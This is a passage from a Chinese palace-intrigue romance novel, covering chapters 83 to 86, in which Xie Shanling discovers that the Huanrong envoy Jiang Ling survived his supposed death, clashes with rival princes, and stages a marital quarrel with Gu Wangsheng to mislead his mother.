谢善淩反问:“我若不饶呢?” “你饶不饶,这事也不由你做主。”顾裕骐淡淡道,“还是管好自己的事吧。本王还没有放弃将秦青的真面目公之于众。” 谢善淩嗤笑道:“是吗?那殿下不该来这儿,应该去黔阳、去浔阳,秦青在那儿。” 说着,很刻意地一停,似乎刚想起来,挑眉道,“不好,还是别去了。万一和上次一样损兵折将,落得个不得不假死脱身的狼狈下场,去哪儿找第二个豲戎来让殿下为求翻身不择手段地卖国结盟?” 尚书不禁想问自己的眼前为何总是黑夜……怎么就还没晕倒? “本王倒没想到,历经许多,你归来竟还是如此脾性。”顾裕骐神色复杂地看他,问,“亏还没吃够?” 谢善淩一摊手道:“不想改。” 顾裕骐看他半晌,忽的轻笑一声。 “也好。”他说出意味不明的这两字来,转而看向尚书,“小潘大人的事就托给大人了。” 尚书只好应下。楚王当即就让他带潘成栋去登记造册安排职务,再带他在礼部走一走看一看,免得日后失礼。 尚书心知这是要支开自己和潘成栋,单独和谢善淩说话,便急忙应下,领着潘成栋去了。 见人离去,顾裕骐看向谢善淩,声音低了几分:“你已经知道顾裕帧的真实身份了,是不是?谢善淩,你在玩火自焚,本来无需本王管你,可你最好为谢家上下几十口人着想。” 谢善淩看他:“你不总想着构陷大殿下,谢家也就不会出事。我不明白你总和大殿下过不去做什么,他无论如何也不会被册立为太子。你若连自己真正的敌人都认不准,岂不枉费了一番苦心谋划?” 见他死鸭子嘴硬,顾裕骐不欲多说:“既如此,你好自为之。” “我当然好自为之,殿下也是如此。”话锋一转,道,“我还没恭喜殿下要做父亲了。我和大殿下可永远都没这福气。” 一瞬之间,顾裕骐面上之色越发沉郁。 谢善淩看着他的模样,轻飘飘再加上一击:“潘王妃诞下的将是陛下第一个孙辈,何等荣耀喜庆,她自广而告之……该知道不该知道的,都知道了。” 顾裕骐的手在一瞬间攥紧。 可是他知道,就算潘凤不招摇过市,她有孕一事也早晚要公之于众。何况如今还有利用得到潘家的时候,不可能为此与潘家生出嫌隙。 只是…… 他不由得将暗含着某种渴求的眼神投向谢善淩。然而他又自知这是过界的妄求,也是多余之举。 知道婉柔有多难过,也无济于事。 有那么一个瞬间,他有股冲动将自己的秘密告诉谢婉柔,或者谢善淩,好让他们知道自己没有背叛她。 可是转而便察觉出自己的可笑。 明明从定下和他人婚事的那一刻起,便已经背叛了她。 谢善淩冷眼看着他心神动摇了短短几个瞬间,不由冷笑,上前一步与他几乎擦着肩,稍稍倾头到他耳边。 “你假死脱身,顾裕泽哄骗她南下寻你以此诈你,一路不成,他让人扮成匪徒胁迫她,她跳入湍急的江中,若非匪军相救,如今已成一缕芳魂。” “而殿下呢?”谢善淩斜眼看着他,“这才成亲多久?何况这门亲事也来得忒快。怕不是婉柔为你守身如玉宁死不从的时候,你在……” “不是!”顾裕骐忍不住反驳出声。 旋即他自知失态,脸色苍白地看着谢善淩,一时之间再说不出话来。半晌,往后退了一步拉开距离。 谢善淩却朝他进了一步,又紧逼过来,字字句句皆是诛心之言。 “我与她重逢之时,她知你没死,大喜过望,不顾我的劝阻,决心回到京城便向家人坦白心迹,即便被逐出家门也要与你长相厮守。”谢善淩冷笑道,“我忧心了一路如何劝她打消这个想法,谁料一回来就遇上殿下大婚,我可真是谢谢殿下了。” “……” 理智告诉他,不要相信谢善淩说的每一句话,谢善淩如今和秦青狼狈为奸,不过是要乱他心神,还要伺机挑唆他与顾裕泽鹬蚌相争,他们好渔人得利。 然而…… 谢善淩所说的又何尝不是事实。 半晌,他垂眸软了语气道:“是我对不起她,我会补偿她。” “你是对不起她,也补偿不了她。”谢善淩缓缓说道,“来日别再纠缠她、阻她姻缘都算你还没全无良心。” “……不会。”顾裕骐轻声道。 谢善淩:“记住你今日说的话。” 第83章 ◎顾望笙撒泼似的瞪向他,一手去粗鲁拉扯谢善淩◎ 谢善淩被尚书支开做别的事, 他并无意见,至少表面上没有,对待职责颇为尽心。 不久,豲戎使团便抵达了京城。 京城百姓远离豲戎边境, 不曾受到骚扰, 对豲戎的血海深仇之说只存在于过往的口口相传之中, 没有切身体会。 如今见朝廷大肆宣扬结盟之义,又说此次结盟豲戎会义助大梁剿灭南方匪乱, 夹道欢迎的人群颇有几分真心。 二楼凭窗处,谢善淩望着外头的热闹场景, 许久,苦笑了一声。 顾望笙坐在桌旁吃茶果, 闻声看他,轻声道:“有句话说得好,京城里一个匾额掉下来砸死十个人, 九个贵人,还有一个是贵人家的穷亲戚。说是穷亲戚,去别处也是个人物。” 这话虽有夸大, 其中道理却可见一斑。 “就算不少潘成栋之流欺压百姓, 可总体而言比别处的人有活头多了,因此他们不能理解南边的起义,朝廷又总在宣扬匪乱之说,大多数的人便是人云亦云。”顾望笙淡淡道。 “那就该让他们知道。”谢善淩依旧看着外头,嘴里低声道,“总有人有几门远亲, 让那些身处南方知道真相的亲戚过来走动走动, 宣扬宣扬……就说是逃战乱前来投奔的, 不明着反朝廷,暗着来。” 顾望笙点点头,略想了想此事,转而突然道:“你吃这个豌豆黄,比上回在对面买的好多了。” 说着夹起一块,本以为谢善淩会如平常一样转头来吃,却见着谢善淩神色异样,似乎受到了惊吓或冲击,不可置信地微微睁大眼睛看着外面。 顾望笙凑到他脸旁,见到豲戎使团正花里胡哨地从楼下走过:“怎么了?里面有你老相识?” 谢善淩曾经与将灵虚与委蛇,若认识其他豲戎人也不足为奇。 谢善淩没有回答他,依旧怔怔地望着队伍中的一人,视线随之缓缓移动。 顾望笙很快锁定了谢善淩的目光所及之处。 那是一个有着一双似笑非笑桃花眼的青年男子,穿着豲戎的传统服饰,但和身旁其他的豲戎人相比,他的容貌看起来就是一个中原人。 顾望笙的视线在这人脸上转了几圈,绝望地调侃:“不是老相识,又是老相好啊?不会是将灵的手下也绑了你然后你又骗他说其实你喜欢的是……” 他话还没说完,谢善淩腾的起身就往外跑,非常慌急的样子。 顾望笙一怔,反应过来急忙跟上去。 谢善淩一路的步履有些不稳,匆匆来到街旁,随着使团的缓慢前行而在围观的人群里跟着移动,顾望笙来拉他他也仿若未有察觉,始终震惊地看着马上的那人。 终于那人注意到了他,往他看来,视线对上的瞬间,男人眉毛微微挑了挑,嘴角露出一抹玩味的笑。 不过旋即男子的视线就落到了谢善淩被拉着的手上,顺着手到了顾望笙的脸上,嘴角的笑容就消失了,冷漠地收回目光,并不停留,继续随着队伍前行。 谢善淩没再跟着他走,停在原地,任由看热闹的人们在旁边推搡,他愣愣地看着豲戎使团全都从面前过去,连背影也再看不到。 旁边围观的百姓们也都各自散了,或追着去了下一条街,或做原本自己的事去,最终只有谢善淩和顾望笙还站在远处。 “究竟怎么了?那谁啊?”顾望笙看他这反常的样子,心中隐隐约约有个猜想,可又觉得不可思议,便只是问他。 这些日子以来,谢善淩不似起初的苍白病容,脸上总是健康的红润。可此刻他的脸又苍白起来,被顾望笙催了几句,张了张嘴,嗓音干涩地吐出一个人名:“将灵。” 顾望笙:“……” 随着说出那个名字,谢善淩似乎失去了力气一般,平白脚下一个趔趄,若非顾望笙及时扶住,就要跌坐在地。 “善淩!”顾望笙牢牢揽住他,左右看了看,神情讶异地低声问,“你确定是他?说不定是和他容貌相似的兄弟……” 谢善淩的声音似乎是从牙缝里挤出来的:“他化成灰我也认识……他没死……为什么会没死……我亲手杀的他,亲眼见到他被烧死,是我拿火把点燃……不……” 他猛然之间似是想通了什么,一把甩开顾望笙,转身就朝某个方向跑去。顾望笙急忙追上他,想阻拦却拦不住。 谢善淩一路跑到四皇子府外,并不敲门,对着门就踹。 门房恼怒地开门出来正要发威,见是他,愣了下,立刻换了副神色,讪讪地问:“谢大人这是为何……谢大人!谢大人,四皇子此刻不在府中,豲戎使团今日到来,宫中设宴,他去宫里了!” 说着有意无意地看了眼跟来的大皇子。 招待使团是大事,何况是上百年来头一回结盟的豲戎,皇帝极为重视,不止将恰好回京办事的四皇子列席,听说就连没长成的小皇子们也会现身。 ——唯独排除了大皇子。 应该不是怕不成器的大皇子贻笑大方,对外说大皇子最近体感不适,但大家都纷纷肯定地猜测肯定是让大皇子好好看牢了谢善淩别惹是生非就是大功一件。 现在都知道大皇子是栓谢善淩的锁链。 至于为何平平无奇的大皇子能栓得住其他人都束手无策的发疯的谢善淩,就众说纷纭了。不过大致上都是即便是男子成亲后也会被夫君调|教好之类带着恶意促狭的话。 谢善淩已经走到门内的脚步一顿,随后道:“那我就等他回来。” 说完如入无人之境,也像回到了自己家,继续朝府内走去。 门房没拦他,倒是来拦要跟上去的顾望笙:“大殿下,如今四殿下不在府中……” “哈?!”大殿下愤怒咆哮,指着谢善淩的背影道,“那你倒是拦他啊!他一个人进去就行,我就不行?你们想把他单独扣在里面干什么?嗷?你自己看看这合适吗像话吗?!嗷??回话!” 合适不合适的,像话不像话的,你的皇子妃和我们四皇子什么关系过往,你心里就没点数吗,非逼着我把话说出来你就高兴了吗…… 门房自然不能真这么说,只能腹诽着委婉中不失直接地说:“四殿下说过,谢大人可以随意出入,可他没说其他人……” 顾望笙就来横的,一把推开他朝里走:“有本事你们叫人把我赶出去,我就去门口嚷嚷让人都知道你们把大皇子妃扣在里面,把我扔出去,让父皇来评评理。” 好在四皇子英明,早想到过这种情况,嘱咐过若大皇子实在不讲理,就算了,只要看牢点不让他在府里乱来乱逛就行。 门房便一面跟上去,一面示意人去宫里告诉四皇子此事。 谢善淩在四皇子府的厅堂里几乎一动不动地坐了大半天,直到入夜许久顾裕泽才匆匆赶回,朝他解释道:“今日招待豲戎,我不便提早离席,让你久等了。” 顾望笙冷哼了一声。 顾裕泽似乎才注意到旁边坐着的他,朝他打招呼:“皇兄。” 谢善淩冷冷看他,问:“将灵为何没死?” 顾裕泽不慌不忙道:“我也很奇怪。当日明明你亲手将剑刺穿——” 谢善淩猛地打断他的话,厉声道:“事到如今你还要再装?当日架火时我没看住,是你们守着他的尸身,你们当时将他调了包!” 顾裕泽叹了口气:“淩儿,我当时……” “咳咳。” 顾裕泽略停了下,并未改口,继续说道:“……你不记得了吗?当时你受惊过度,我一直陪在你的身边安抚,寸步未离。” “咳咳!” “……我只是在阐述事实。”顾裕泽看了眼顾望笙,“若皇兄嗓子不适,可以请府医前来一看。” 顾望笙冷笑一声,然后双手拢在袖中,窝囊地不语。 顾裕泽重新看向谢善淩:“将灵死而复生,我也是今日见到他方知,席间一直在想早点回来与你议论此事。当日我确不知情,若如你所说,也许是当日之人中有叛徒,我会查,一定会给你、也给我自己一个交代。” 谢善淩定定地瞪着他,审视一般,过了一阵后道:“我以为你和豲戎暗中也有苟且。” “怎会?”顾裕泽目光温柔注视着他,“淩儿,我知你痛恨豲戎,不会触你逆鳞。” 顾望笙在旁煞风景:“你差不多得了啊!当我死了啊?叫皇嫂!” 顾裕泽仍旧看着谢善淩,过了一会儿,见谢善淩没有反应,他才看向顾望笙,语气客气,但话十分难听:“他没有反对。” “哈??”顾望笙拍案而起,“老子反对啊!”说着看向谢善淩,朝他吼,“你也反对啊!谢善淩!你又皮痒了是吧?!” 顾裕泽脸色微变:“皇兄!” “你住口!”顾望笙撒泼似的瞪向他,一手去粗鲁拉扯谢善淩,“给老子起来!真是给你几天好脸色你就忘了东南西北了……” 他的手碰到谢善淩的一瞬间,谢善淩似乎受惊一般抖了下,虽然面上依旧强撑着,但身体明显僵直起来,并没反抗,似乎已经形成了服从的本能,就这么被顾望笙揪起来,面对他扬起的巴掌瑟缩了一下肩膀,紧紧闭上眼睛。 然而那巴掌终究没能落在谢善淩的脸上,顾裕泽拦在中间,皱眉道:“你就是这么对他的?!” 顾望笙还没说话,谢善淩声线紧绷道:“你让开……” 顾裕泽一怔,回头看他:“淩儿……” 谢善淩反而仇恨地看着他:“你故意当着他的面对我言谈亲密,难道会想不到这会引起他的愤怒吗?这下子又假惺惺来拦,难道你以为我会感激你?” “我没想到他会打你!你怎会任由他打你?”顾裕泽道。 谢善淩却冷笑起来:“真想不到吗?我还以为你乐见其成,以此报复我。” “我……” 谢善淩不给他说完的机会,白着脸,红着眼,倔强又崩溃地说:“当日我和他成亲你不敢抢亲,如今扮什么情圣?我不需要你假好心。我有今日,也是多亏了你。” 作者有话要说: 大皇子的形象:对外唯唯诺诺,对谢善淩重拳出击。 大皇子妃的形象:对外重拳出击,对夫君唯唯诺诺。 这谁看了不唏嘘,不想趁虚而入,是吧@宁蔚。 宁蔚:……怎么又有我事儿? 将灵:死瘸子滚开,入得明白吗就入,我来。 第84章 ◎豲戎有风俗,一妻二夫也不是不可。◎ 在四皇子府闹完后, 谢善淩和顾望笙拉拉扯扯地回谢府。原本顾裕泽不让谢善淩走,防备顾望笙动手打他,可谢善淩非要走,一副已经被打服了的样子。 两人一路没说话, 继续作着戏, 回到府门口, 双双脚步一停。 将灵换上了中原江湖游侠似的潇洒服饰,此刻站在门口廊下, 靠着柱子,双手抱胸, 垂眸思考着什么,忽然抬起眼看了过来。 嘴角也随之勾了起来, 朝谢善淩叫道:“思玄。” 顾望笙绷着脸瞪了谢善淩一眼。 谢善淩径直朝府内走去,将灵跟在他身后,顾望笙去拦, 将灵正眼都不带看他一个,伸手竟将他推得一个踉跄。 顾望笙:“……?!” 将灵继续跟上去,边走边说:“当日你因两国有世仇而不能容纳我, 如今两国已经和谈结盟, 你究竟还有什么理由排斥我?” 谢善淩猛地停住脚步,转身看他,刚要开口,将灵一副来不及刹住的样子,“啊”的一声就要朝他撞个满怀。 ——眼看就要撞到的最后一刻,被人从身后揪住了衣领。 将灵回过头, 终于正眼看顾望笙, 却是面露凶光。 顾望笙冷笑道:“你身手如此不凡, 竟这样一下都刹不住,说出来也不怕惹人笑话。” 将灵微笑起来:“秦青你整日里装疯卖傻,你都不怕惹人笑话,我只不过借故往谢思玄的身上撞过去,别人还笑不到我的头上。” “你住口!”谢善淩斥道。 将灵当即不再理会顾望笙,转回去看着谢善淩。 “豲戎所欠大梁血债,岂是你如今一句轻飘飘结盟就能一笔勾销的?”谢善淩质问。 将灵却不当一回事儿。他反问:“中原百代变迁,又有几次不是在战火中完成?难道互相杀害的人少了吗?一朝立国,之前相互残杀的人不照样以一国人相称、彼此来往融入?有一世之仇,岂有永世之仇?” 谢善淩反问:“所以豲戎并非结盟,而是要并入我大梁吗?” 将灵怀念道:“你依旧如此善辩,我时常思念你我辩谈世间一切的时光。” “我辩你个头啊,都谈不到一起去才会天天辩!”顾望笙在旁嘲讽,将灵置若罔闻,只是依旧深深地注视着谢善淩,道:“世间没有不变之理,若单论血海深仇而永不可解,反倒落入拘泥了。难道化干戈为玉帛不好,非要仍旧敌对、仍然相互残杀才好吗?岂不本末倒置?” 谢善淩一怔,视线别开不看他,良久才又开口:“我既亲手杀过你……当时是真动了杀心,决意不让你活,你……” 将灵抢白道:“我不怪你!我若怪你,今日也不会来此说这些了。我知你自幼受教化仇视豲戎人,我只恨自己确实是豲戎人,今生不能改变,而且当年是我欺瞒接近你在先,爱上你之后我时常为此自责,你杀我一次,反倒令我豁然开朗许多……” 顾望笙:“你这不是贱得慌么?” 将灵仍当他不存在,还要继续剖白心迹,顾望笙从旁越过他,粗鲁不耐烦地推搡着谢善淩:“走了走了!还听?我看你挺喜欢听,要不要跟他回豲戎去听啊?” 谢善淩犹豫了下,踉跄间仓促地瞥了下将灵,终究没说话,收回视线跟着顾望笙往府内走。 将灵又要跟上去,顾望笙拦在他面前冷声道:“你说破了天,若还敢往里闯,我必与你大起干戈,闹到我父皇那去,说一千道一万,他总不能坐视身为大皇子的我被你这番邦之徒夺妻侮辱,和谈恐怕就和不了了,你和顾裕骐的苦心钻营当付诸东流。” 将灵停住了脚步,看着他问:“思玄与我才是知己,同为显贵出身,自幼受大才教导,你虽如今也有点本事,却一直流落在外,想必是颠沛流离自顾不暇,不是真的山野猎户却也相差不远了。你能懂他吗?” 说时,余光注意着谢善淩垂眸不语、似有些许黯然的模样。 “思玄。”将灵的语气温柔,道,“我知道要你一时之间便放下过往与我重修旧好很难,我不想为难你,只是急着向你表明心意,你可以慢慢考虑。” 顾望笙问:“考虑什么?” 将灵看向他,语气还算好,说出的话却并不友善:“难道没人告诉你你很聒噪吗?” 顾望笙拔高音量怒道:“你倒反天罡啊?难道没人告诉你谢善淩如今是我的妻子,你当着我面勾搭他,我为了两国和谈一直忍着没动手,就问两句,你还嫌上我聒噪了??你怎么比老四还不要脸??” 将灵一顿,忽的道:“也对,比起那个人……虽然我一个也不想……” 他用打量的目光上下逡巡顾望笙,似乎真在比较着他和顾裕泽,半晌有那么些郁闷地说:“思玄重情义,若他真不愿抛弃你,我勉强也愿和你共处。大不了日后你我少见面罢了。” “哈?”顾望笙一时竟没听懂他这话,“你在说什么屁话?” 谢善淩愣了愣,似乎想到什么,看向将灵,微微皱眉,眼中很是诧异。 将灵迎上谢善淩的目光,很是高兴:“思玄,你看,你我仍旧心有灵犀一点通。” 顾望笙左右看看,出言制止:“等等,你先别随便通,把话说明白。” 将灵瞥他,不太情愿地说:“豲戎有风俗,一妻二夫也不是不可。你别再做匪军,老老实实当你的大皇子,只要日后不惹是生非,看在善淩的面子上,我会劝楚王不为难你。” 谢善淩:“……” 顾望笙:“……” 谢府门口彷如无人一般寂静。 作者有话要说: 将灵:实在不行,匪军在南边立国,秦青你自立为王,顾裕泽在这边登基,我当豲戎王,思玄三边都是王后/皇后。 顾裕骐:?我呢? 将灵:再说吧兄弟,先助力我把老婆追回来。 顾裕骐:……。(果然应该都鲨了) 第85章 ◎顾望笙!你再这样我真回清静峰做道士去!◎ 将灵说完那番话后没过多地死缠烂打, 顾望笙开口让他滚,他只说了句让谢善淩考虑考虑就转身离去了。 谢善淩和顾望笙回到屋内,相对无言了许久,谢善淩先出声:“太晚了, 睡吧。” 顾望笙点点头, 与他洗漱过后先后上床。谢善淩已经躺下了, 顾望笙习惯地将他搂入怀中抱着。 以往这样两人很快就能入睡,然而今夜各自闭着眼睛过了很久, 都能听到对方的呼吸声是醒着的。 顾望笙正措辞,谢善淩小声道:“睡吧。” “……睡不着。”顾望笙说。 谢善淩睁开眼睛与他对视。两人的脸现在离得很近, 即便在没点灯的夜里也能看得到对方明亮的眼眸。 顾望笙亲亲他的鼻尖,谢善淩礼尚往来地亲亲他的嘴角。 “将灵到底想干什么?”顾望笙问。 “也许是为了毁我名声。”谢善淩叹道, “如今我又出仕,旁人都说我是为你博前程,虽然顾裕骐和将灵认定了你是秦青, 但恐怕他们以为你只是纯粹地想登基为帝,若能被皇帝册为太子,你也就用不上起义军了。” 关于此事, 其实两人在黔阳城时和宋淮安以及被强行拉上的江泊润讨论过。 顾望笙在京城混得还行, 宋淮安产生过动摇的心思。起义需要许多钱、粮和牺牲在战场上的人命,若能通过平和一些的方式,也许…… 江泊润虽说着不肯参与讨论,但看他神色显然是赞同宋淮安的。 谢善淩当时没表态,只看向顾望笙。顾望笙沉默许久摇了摇头,说不可。 谢善淩这才看向宋淮安和江泊润说:“我也不赞同。” 江泊润下意识出声想要劝他:“思玄……”却又想起自己的立场, 立刻闭嘴, 只是皱起了眉头。 谢善淩摇摇头, 解释道:“如今的大梁已经由上而下病入膏肓,药石无灵。世家门阀如老树盘根错杂,即便顾望笙能以太子身份登机,来日也很难通过新政改变什么,反对之势必有如排山倒海。” 顾望笙接着说道:“军权收不回来,我只会是空壳一具。” “不过,若时机成熟,他也可以坐坐这太子之位。”谢善淩道,“到那时就是里应外合的事了,总之由义军改朝换代才是正论,其他的不过是手段,不可当成目的。” “只有由下而上,方能真正地改变现状。” …… “我当日欺骗将灵,令他全盘大计毁于一旦,他还决意放下一切与我私奔,我却……”谢善淩道,“他必定恨不能拆吃我的骨肉,否则你难道真信他那荒谬之言?” “我也这么觉得。”顾望笙立马附议。 谢善淩细细分析道:“他如今和潘家有勾连,一定会‘翻案’我当年设计杀他一事。大概会说成是我故意放走他,越发坐实我那时通敌叛国的罪名。虽然现在两国结盟,可若是当时勾结他们,即便如今不处个罪名也得多少吃些亏。” 顾望笙问:“顾裕泽会不会帮你解释?” “不会,以他性情撇清干系还来不及,不落井下石他都会觉得是因为他对我用情太深的缘故。只不过今日我去他那一闹,他会对将灵诈死一事起疑心,暗地里查当时跟去的凌风飞骑众人是否背着他与豲戎勾连。” 谢善淩停了一下,说:“如果真与他无关的话。” 他说话之时,顾望笙一直认真地注视着他,情不自禁地将他往怀里多搂紧了点,亲了几下他的脸,手找好了地方取暖,然后问:“此话怎讲?” 谢善淩白他一眼,没好气道:“不说了,爱怎么怎么,我回清静峰当道士去。” “别啊。”顾望笙耍赖道,“今日陪你演了两场绿头王八戏,这会儿我舒服舒服你也不让,那我不成真王八了吗?你也看到了他俩那嘴脸,啧啧,不知道的还以为你和他们真有一腿呢。我再强调一遍,那会子我和你的婚约可还在呢。如今我和你都已经是正经夫妻了呢。” 为了逃避这个要命的话题,谢善淩不得不问:“你还要不要听我分析顾裕泽?” “听。”顾望笙说着,又做了点小动作。 谢善淩不敢再跟他计较,毕竟这人太会得寸进尺顺杆子爬没棍子也爬。就假装自己毫无知觉,继续说道:“顾裕泽行事不择手段,大梁与豲戎的血海深仇对他来说是假如有利可图他可以放下也可以拿起的工具罢了……世间一切对他而言都只是达成他目标的工具。” “不过我确实不能确定是他的主意还是凌风飞骑中谁的主意……可以顺着这条线往下查。”谢善淩冷漠道,“若是其他人自作主张,往他头上栽赃就好。” “我会让人查。不过那是以后的事了,眼前是将灵和顾裕骐的勾结。”顾望笙说。 谢善淩缓缓道:“杀将灵可能不易,使团里的其他人可以寻机下手。” “以谁的名义?”顾望笙问。 “……百姓。”谢善淩说,“曾有亲人被豲戎杀害的百姓不满两国结盟,处心积虑地刺杀了使团里的人,还在城内各处张贴字字泣血的布告公告此事的来龙去脉。” 顾望笙点头,松开手便要下床:“事不宜迟,我现在就去……” 话没说完,被谢善淩扯住腰带:“大半夜的你往哪儿去?也太显眼了。” 顾望笙身虚体弱,被拽一下就立刻倒回了床上:“哎呀,舍不得我半夜扔下你独守空房你说一声就好,拽人腰带算怎么回事儿?这就是你勾引夫君的手段吗谢思玄?” 谢善淩松开手坐起身,作势要下床,边说:“我勾引夫君的手段是现在去找……” 顾望笙不让他将后面人名说出口,立刻拦腰抱住:“你敢!还没被夫君打服?那看来还得打,今晚就打……” 谢善淩想起自己还真被他打过,脸色顿时不好看了,啪啪地打他:“你敢!” 顾望笙冷笑一声,拧住他胳膊将他掰过去就是一巴掌落下:“看我敢不敢!” 谢善淩顿时剧烈挣扎起来:“说了不准!顾望笙!你再这样我真回清静峰做道士去!” 顾望笙见他还要做道士,又是一巴掌:“还做不做道士?” 谢善淩脸胀得通红。他自幼被娇养大,即便顽皮也没人打他,常挨打的谢善丰为这事儿跟他计较了好多年,谁料顾望笙竟敢! 他又挣扎起来,可双手被反锁在背后,顾望笙还打上瘾了,打一下问一句,若搁俩人关系不好那阵,谢善淩就算是咬破了嘴唇舌头也不会服一下软,可如今关系还行,他想来想去,觉得那样自己就白吃亏了,倒也没那个必要…… “不做了不做了!”谢善淩服软道,“别打了!” 顾望笙却手下不停,耍赖道:“没听见。” “顾望笙!!” 顾望笙终于停住,谢善淩立刻就要挣扎,却再度被他摁住动弹不得。 半晌,顾望笙嗤笑道:“我看你挺喜欢我打你。” 谢善淩恼羞成怒,顾不上三七二十一反驳道:“你才喜欢我打你!” 顾望笙亲亲他,声音含糊不清:“对,我喜欢你打我,所以你也喜欢我打你……” “我才不……” 啪的又是一巴掌打下来,谢善淩抓着被褥的手又是一紧,咬牙道:“顾望笙你等着……” 顾望笙笑道:“好,我等着。” 两人打闹到了深夜,谢善淩气鼓鼓地翻身背对着,不让抱,一碰他就耸肩。 顾望笙却心情好得很,如飘在云端,不顾人挣扎强行抱回怀里,低低笑道哄:“又没真的打你……逗你似的,手劲儿那么轻。谁让你娇贵,太白了,随便打一下就泛红,不跟我似的皮糙肉厚,你使劲儿打我半天也没印子。” 许久,谢善淩小声抽泣了下。 “……” 顾望笙一怔,急忙撑起手探头去看。谢善淩却拉起了被子蒙住脸不让他看,只是抽泣的声音频繁起来。 顾望笙与他抢了一阵,这会儿哪敢用蛮力,拉锯半天终于将被子拉开了,谢善淩却又用手捂住脸。 没有了被子的遮挡,抽泣的声音大了点,哭得肩头都在抖。 “你演出来吓唬我的吧……谢善淩!善淩!” 谢善淩还在哭,顾望笙还不容易掰开他捂脸的手,见人真哭得脸都红了,当场傻眼:“你……我……你真哭啊?!我刚才真没使力啊!没那么疼吧!” 谢善淩又气又恼,哭着朝他脸上就是一巴掌,又挠了几下,使劲推开他,下地去拿衣服胡乱穿好,踹开追过来哄的顾望笙,拉开门就朝外跑。 * 佘郡主原本已经睡下了,突然被丫鬟叫醒,吓了一跳:“怎么了……谁在外头哭?” 丫鬟急道:“少爷突然哭着跑来说姑爷、不,大皇子打他!” “……” 佘郡主将信将疑地起身,胡乱穿上衣服出去,就见儿子跟儿婿在拉拉扯扯。 见到她来,谢善淩含着泪委屈地看她:“母亲,我……他打我……” 儿子这副模样,那肯定是真挨打了。佘郡主当即大怒,瞪向顾望笙,却一愣,下意识转头又看了看儿子,上下打量一阵,哪儿也没看到伤,转头再看顾望笙,脸上一个明晃晃的五指印,还有几道挠痕瘆着血。 “……” 顾望笙也很委屈:“我跟他闹着玩儿,谁料他当了真……而且母亲您看我这伤……”边说边将脸往佘郡主这边凑,展示给她看。 就算你叫我母亲我也……也不是很好偏袒谢善淩…… 佘郡主艰难劝道:“夫妻间有争执是常见的事……善淩你……大皇子打你哪儿了?” 谢善淩却又不肯说,只哭着道:“他就是打我了!我不要和他过了。” 作者有话要说: 抱歉更新晚了,欠一更,补上日期不定_(:з」∠)_ 第86章 ◎这还没离呢,在他嘴里谢善淩就已经这般不堪了?◎ 佘郡主只好换了一种问法:“你们是为了什么事闹成这样?” 顾望笙顿时哑口, 神色尴尬。 谢善淩哭着说:“他见着将灵和顾裕泽,心里有火,却不敢打他们,就冲我撒气!他还说, 若我再敢见那两人, 就打死我。” 顾望笙赶紧大声吼道:“我没说过这话!谢善淩你不要信口雌黄!” 这一声大得突然, 佘郡主都被吓了一跳,不由皱起了眉头, 看着与平日不同、阴沉暴怒的大皇子,本能地朝儿子伸手, 示意他过来自己身边。 谢善淩见到,急忙就要过去, 却被顾望笙一把攥住手腕,恶狠狠威胁:“你敢!” 话出口,顾望笙似是猛然想起来什么, 眼中闪过心虚,飞快地看了眼佘郡主,迅速作出平日做小伏低的样子, 柔声细语地哄:“刚刚一时情急……善淩, 别闹了,跟我回去,这大半夜的你在做什么……母亲别误会,善淩想是又发病了……” 不仅表里不一,还试图将黑锅甩到谢善淩的身上! 佘郡主心中已是气极,板起脸走过来拉住谢善淩另一只手:“大殿下, 请你放开他!” 顾望笙犹豫了下, 讪讪松手, 看着谢善淩被佘郡主护到身后,不甘心地嗫嚅了几声,佘郡主没听清他在说什么,只知道他声音大了一点后辩解道:“我只是……只是多问了几句,他就对我又打又挠,还恶人先告状……” 可是他说这话的时候,眼睛都不敢多看佘郡主,明显是推卸责任之辞。 佘郡主再顾不上他的身份,呵斥道:“你先退出我的院子!” 顾望笙还不甘愿:“我……” 佘郡主:“滚!” 谢善淩都没见过母亲这样子,愣了愣,讪讪看她。 她挡在他的身前,咬着牙厉目瞪着顾望笙。 “我会细细问过善淩,若确有此事,我会亲自进宫禀明圣上,这日子若过不下去就不要勉强!当年是我们亏欠你,因而当日你求娶,善淩愿意,也就让他嫁了。那时大殿下也不是不知道他和谁来往过,如今翻这旧账,竟还打人!我定要去向陛下讨要个说法!”她的声音因为愤怒而尖锐。 顾望笙僵站了一阵,几度想说什么,却碍于她这强势得好像随时会为了护子而扑上来与自己拼命的架势,最终不得不灰溜溜地退出了院子。 佘郡主其实心中有些没底。到底对方是大皇子,还曾是猎户,年富力强,这半夜里若真动起手来,不知自己与儿子母子俩能不能落着好,传出去也难听。 只是她身为母亲没得选,只能虚张声势地和对方对峙。好在对方似乎被自己这撑出来的架势给吓着了。 顾望笙走后,佘郡主急忙拉着儿子细细查看询问:“伤着哪儿了?往日竟不知他是这样的人!顺儿,快去请大夫……” 丫鬟顺儿拔腿就要跑,却被谢善淩叫住了,让她回屋去,不必请大夫。 顺儿去瞅佘郡主的脸。 佘郡主正要开口,谢善淩拉住她衣袖央求:“母亲,我有事和你说,你先让顺儿回屋去,你听完我说的,自然就明了了。” 佘郡主想了想,对顺儿使了个眼色,顺儿便出去了。 她看回儿子,见他脸上有些难堪,欲言又止。 她急道:“这不是你害臊的时候!究竟打哪儿了?你让娘看看,也让大夫看看!别的都一会儿再说。” “真不用。”谢善淩小声尴尬道,“其实只有我打他了。” 佘郡主一怔。 谢善淩干笑了两声:“他只是抬手吓唬吓唬我,嘴里说得不好听,但动手了的只有我。刚刚我是……嗯……确实是恶人先告状。” 佘郡主:“……” 她沉默了好一阵,闭了闭眼睛,深深地吐出一口浊气。 谢善淩打量着母亲的神色,心中愧疚,却不得不继续骗她:“不过,母亲,若这样下去,难保他今日没动手、来日也不动手。顾裕泽总是对我故作暧昧来刺激他,将灵亦然,他心中十分介意。” 佘郡主一个头有两个大,不愿说儿子的不好,只能骂外头的坏东西:“纠缠不清的狗皮膏药!”转而果断道,“我若早知大皇子竟背地里这样待你,以前你说要和离,早就赞同了。如今却也不迟!” “只是他身为大皇子,最近陛下还特意为了他宣我入宫与我详谈过,望我能扶持辅佐他,恐怕对他寄予厚望……”谢善淩迟疑道。 佘郡主拔高音量,眼中满是坚毅:“管他如何,是什么身份,谁器重不器重,我都不会容忍他伤害我的孩子!善淩,你放心,你父亲虽不在,母亲亦会护你周全!” 谢善淩抿了抿嘴,看她一阵,忍不住如小时候一样投入她怀中,低声唤道:“母亲……对不起……” 佘郡主轻轻抚摸他的头,柔声道:“你这孩子,若知他背地如此,也不早早告诉母亲。是不相信母亲能保护你吗?” 